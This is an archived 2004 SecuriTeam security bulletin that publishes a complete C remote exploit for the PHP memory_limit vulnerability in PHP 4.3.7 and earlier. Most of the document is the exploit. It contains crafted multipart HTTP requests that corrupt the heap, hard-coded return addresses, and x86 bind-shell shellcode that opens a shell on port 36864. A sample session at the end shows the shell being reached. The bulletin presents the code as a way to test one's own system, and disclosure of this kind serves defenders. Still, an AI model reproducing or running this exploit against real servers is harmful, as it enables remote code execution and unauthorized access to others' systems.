

# [EXPL] PHP memory\_limit Exploit Code

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0096.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/29/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 29 Nov 2004 10:46:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

PHP memory\_limit Exploit Code

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/5VP0D15DFO.html>> PHP memory\_limit Remote Vulnerability, a vulnerability in the way PHP handles its memory\_limit variable allows a remote attacker to cause PHP to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Vulnerable Systems:

- \* PHP 4 version 4.3.7 and prior
- \* PHP 5 version 5.0RC3 and prior

Exploit:

/\* Remote exploit for the php memory\_limit vulnerability found by Stefan

\* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).

\*

\* by Gyan Chawdhary ([gunnu45@hotmail.com](mailto:gunnu45@hotmail.com))

\* ([felinemenace.org/~gyan](http://felinemenace.org/~gyan))

\*

\* Greetings

## Securiteam: [EXPL] PHP memory\_limit Exploit Code

\* S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.  
\* scrippie, gera, riq, jaguar, girish, n2n ...  
\*  
\* Vulnerability:  
\* The issue is well documented in the advisory.  
\*  
\* Exploitation:  
\* I cud not find a generic way to free a 40 byte chunk which could be later  
\* used by ALLOC\_HASHTABLE. The exploit will construct a fake zend hash table  
\* which will be sent in the first request. The second request will kick in the  
\* memory interuption after allocating space for the hashtable and before it is  
\* initialized. The memory it will use for this allocation will contain the data  
\* from our previous request which includes the pDestructor pointer pointing to  
\* our nop+shellcode which is a part of the second request. This happens in the  
\* zend\_hash\_destory function.  
\*  
\* PS – The exploit is ugly, coded to test the vuln. If anyone knows the trick  
\* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,  
\* Apache 2.0.49 with register\_globals = On  
\*  
\* Gyan  
\*  
\*  
\*/

```
#include <stdio.h>
#include <string.h>
#include <unistd.h>
```

```
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
```

```
#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;
```

```
char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
```

Securiteam: [EXPL] PHP memory\_limit Exploit Code

```
"Accept: text/html\r\n"  
"Connection: close\r\n"  
"Pragma: no-cache\r\n"  
"Cache-Control: no-cache\r\n"  
"Content-Type: multipart/form-data; boundary=----- \r\n"  
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB  
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";
```

```
char request2[]=  
"-----264122487026375\r\n"  
"Content-Length: 472\r\n"  
"\r\n"  
"-----264122487026375\r\n"  
"Content-Disposition: form-data; name=\"a[[]\" \r\n"  
"\r\n"  
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"  
"\r\n"  
"-----264122487026375--\r\n";
```

```
char request3[]=  
"POST /info.php?a[1]=test HTTP/1.0"  
"Host: doesnotreallymatter\r\n"  
"User-Agent: mlxdebug\r\n"  
"Accept: text/html\r\n"  
"Connection: close\r\n"  
"Pragma: no-cache\r\n"  
"Cache-Control: no-cache\r\n"  
"Content-Type: multipart/form-data; boundary=-----";
```

```
char request4[]=  
"-----264122487026375\r\n"  
"Content-Length: 472\r\n"  
"\r\n"  
"-----264122487026375\r\n"  
"Content-Disposition: form-data; name=\"a[[]\" \r\n"  
"\r\n"  
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"  
"-----264122487026375--\r\n";
```

/\*Ripped shellcode. Runs on port 36864\*/

```
char shell[]=  
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"  
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"  
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"  
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"  
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"  
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"  
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"  
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"  
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
```

## Securiteam: [EXPL] PHP memory\_limit Exploit Code

```
void xp_connect(char *ip)
{
    char buffer[1024];
    char temp[1024];
    int tmp;

    s.sin_family = AF_INET;
    s.sin_port = htons(PORT);
    s.sin_addr.s_addr = inet_addr(ip);

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        printf("Cannot create socket\n");
        exit(-1);
    }

    if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) <
0)
    {
        printf("Cannot connect()\n");
        exit(-1);
    }
}

void xp_write(char *data)
{
    if(write (sock, data, strlen(data)) < 0)
    {
        printf("write() failed\n");
        exit(-1);
    }
}

void xp_receive()
{
    int tmp;
    char buffer[1024*2];

    if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
    {
        printf("read() failed\n");
        exit(-1);
    }
}

char fill[] = "\r\n %s \r\n ";

/*This function builds the main request. In destroy_uploaded_files_hash we
* need to pass zend_hash_apply to reach zend_hash_destroy.
* We set
```

## Securiteam: [EXPL] PHP memory\_limit Exploit Code

```
* 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
* 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
* 3) ht->pDestructor = addr to nop+shellcode
* 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
* 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
* 0x402c22c2 <zend_hash_destroy+190>: call %%eax
* 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
*
* $eax = ht->pDestructor
*/
```

```
void build1(int size, int count)
{
    char *p1, *p2;
    char *b1, *b2;
    int i;
    int pot = 0xffffffff;
    int got = 0x41414141;
    int bot = 0x0818ef29; //0x0818ef78; //0x08189870; //0x402b6c08;
    int sot = 0x02020202;
    int ret = 0x081887a8;

    b1 = (char *)malloc(size-8);
    p1 = b1;

    for (i=0; i<size-8; i+=36)
    {
        *( (int **)p1 ) = (int *) ( pot );
        p1+=4;
        *( (int **)p1 ) = (int *) ( got );
        p1+=4;
        *( (int **)p1 ) = (int *) ( bot );
        p1+=4;
        *( (int **)p1 ) = (int *) ( ret );
        p1+=4;
        *( (int **)p1 ) = (int *) ( bot );
        p1+=4;
        *( (int **)p1 ) = (int *) ( got );
        p1+=4;
        *( (int **)p1 ) = (int *) ( bot );
        p1+=4;
        *( (int **)p1 ) = (int *) ( sot );
        p1+=4;
    }

    b2 = (char *)malloc(size+1);
    p2 = b2;

    sprintf(p2, fill, b1);
```

## Securiteam: [EXPL] PHP memory\_limit Exploit Code

```
    for(i=0; i<count; i++)
        xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
 * php_normalize_heap function */
void build2(int size, int count)
{
    char *p1, *p2;
    char *b1, *b2;
    int i;
    b1 = (char *)malloc(size-8);
    p1 = b1;
    memset(p1, '\x42', size-8);
    b2 = (char *)malloc(size+1);
    p2 = b2;
    sprintf(p2, fill, b1);
    for(i=0; i<count; i++)
        xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
    return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
    char *p1, *p2;
    char *b1, *b2;
    int i;
    int pot = 0x90909090;

    b1 = (char *)malloc(size-8);
    p1 = b1;

    for (i=0; i<size-8-strlen(shell); i+=4) {
        *( (int **)p1 ) = (int *) ( pot );
        p1+=4;
    }
    p1 = b1;

    p1+= size - 8 - strlen(shell);
    strncpy(p1, shell, strlen(shell));

    b2 = (char *)malloc(size+1);
    p2 = b2;
```

## Securiteam: [EXPL] PHP memory\_limit Exploit Code

```
        sprintf(p2, fill, b1);

        for(i=0; i<count; i++)
            xp_write(b2);
    }

void exploit()
{

    int i;

    printf("Stage 1: Filling mem with bad pdestructor ... ");
    for (i=0; i< 5; i++)
    {
        xp_connect(IP);
        xp_write(request1);
        build1(5000, 1);
        xp_write(request2);
        close(sock);
    }
    printf("DONE\r\n");
    printf("Stage 2: Triggering memory_limit now ... ");

    xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
    printf("DONE\r\n");
    printf("Shell on port 36864\r\n");

}

main()
{
    /*No args, no vectors*/
    exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 *
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
```

Securiteam: [EXPL] PHP memory\_limit Exploit Code

```
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686
i686 i386 GNU/Linux
*/
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:gunnu45@hotmail.com> Gyan Chawdhary.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.